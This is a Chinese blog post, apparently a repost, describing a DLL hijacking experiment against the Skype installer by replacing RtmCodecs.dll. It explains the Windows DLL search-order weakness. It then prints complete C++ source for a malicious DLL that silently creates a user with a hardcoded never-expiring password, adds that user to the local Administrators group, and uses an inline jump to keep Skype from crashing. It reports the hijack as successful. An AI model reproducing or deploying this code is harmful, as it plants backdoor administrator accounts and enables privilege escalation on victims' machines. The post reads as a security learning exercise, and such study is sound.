dll劫持技术探索

0x1:实验背景

  看到国外一篇文章,大致描述如下:

Hi,

There are a dll planting vuln in skype installer. This vuln had been
reported to Microsoft but they decided not fix this.

Here is the vulnerability details:
------
Skype installer in Windows is open to DLL hijacking.

Skype looks for a specific DLL by dynamically going through a set of
predefined directories. One of the directory being scanned is the
installation directory, and this is exactly what is abused in this
vulnerability.

  根据描述我们可以知道skype存在dll劫持漏洞,在试验中需要劫持的dll为RtmCodecs.dll,接下来我们开始试验。

0x2: dll劫持原理

  由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。

0x3:实验过程

  (1) 编写一个劫持指定dll程序原理

1.查看被劫持的DLL的导出函数表。
2.编程实现劫持DLL向原DLL的导出函数的转发,并加入你的“恶意代码”。

   (2) 由于文章里给出一个弹出会话框功能的dll,这里我们先看看作者怎么实现的。

从上图可以看出,作者直接在DLL入口执行一个msaageBox函数 弹出对话框。我们也这样实现一个函数添加用户试试,主要代码如下

msi.h

#pragma once


#ifdef DLLEXPORT
#define DLL_INTERFACE __declspec(dllexport)
#else
#define DLL_INTERFACE __declspec(dllimport)
#endif
extern "C"{
	DLL_INTERFACE void adduser();	 
	
}

 msi.cpp

// msi.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"
#define DLLEXPORT

#include "msi.h"

DLL_INTERFACE void adduser()
{
	NET_API_STATUS		nStatus;
	DWORD dwError		= 0;
	DWORD dwLevel		= 1;
	USER_INFO_1			ui;
	ui.usri1_name		= L"iiis";   //用户名
	ui.usri1_password	= L"password123!@#";   //密码
	//ui.usri1_name		= argv[1];
	//ui.usri1_password	= argv[1];
	ui.usri1_priv		= USER_PRIV_USER;  //权限
	ui.usri1_home_dir	= NULL;
	ui.usri1_comment	= NULL;
	ui.usri1_flags		= UF_SCRIPT|UF_DONT_EXPIRE_PASSWD|UF_PASSWD_CANT_CHANGE; //登录脚本执行,密码不可更改,密码永不过期
	ui.usri1_script_path = NULL;

	
	nStatus = NetUserAdd(
					NULL,
					dwLevel,
					(LPBYTE)&ui,
					&dwError
					);

	if ( nStatus == NERR_Success || nStatus == NERR_UserExists )
	{
		std::cout << "add user success" << std::endl;
	}
	else
	{
		std::cout << "add user failed: " << nStatus << std::endl;
		exit(-1);
	}


	LOCALGROUP_MEMBERS_INFO_3 account;
	account.lgrmi3_domainandname=ui.usri1_name; //传入用户名
	
	nStatus = NetLocalGroupAddMembers(
								NULL,
								L"Administrators",
								3,
								(LPBYTE)&account,
								1);

	if ( nStatus == NERR_Success )
	{
		std::cout << "add localgroup success" << std::endl;
	}
	else
	{
		std::cout << "add localgroup failed: " << nStatus << std::endl;
		exit(-1);
	}
	__asm JMP EAX;  // 初次测试没有这一句
}

 编译,放进skpye的phone目录替换RtmCodecs.dll,然后启动skype,如图:

劫持成功,但是skype崩溃掉了,分析一下原因,大概是没有实现劫持DLL向原DLL的导出函数的转发导致的,但是作者也没有这样实现怎么就不崩溃呢,于是反编译了一下skype原RtmCodecs.dll看看导出函数是长啥样的,如下图:

结合IDA里面执行完messageBox函数后的eax清零操作,大概了解,应该在Adduser()执行完毕后对返回进行一下处理,于是在Adduser()函数体末尾添加

__asm JMP EAX;

 指令,再编译测试,如下图:

成功劫持并添加用户,skype也没有崩溃。

0x4 后记:

  上述就是整个实验过程,当然在劫持指定dll的时候,为了程序能正常使用按照编写一个劫持指定dll程序原理去实现效果最好,在本次试验中,这个过程忽略了。

0x5 参考:

  1. http://www.exploitalert.com/view-details.html?id=24885

  2. http://www.freebuf.com/articles/78807.html

原文地址:https://www.cnblogs.com/persuit/p/5924156.html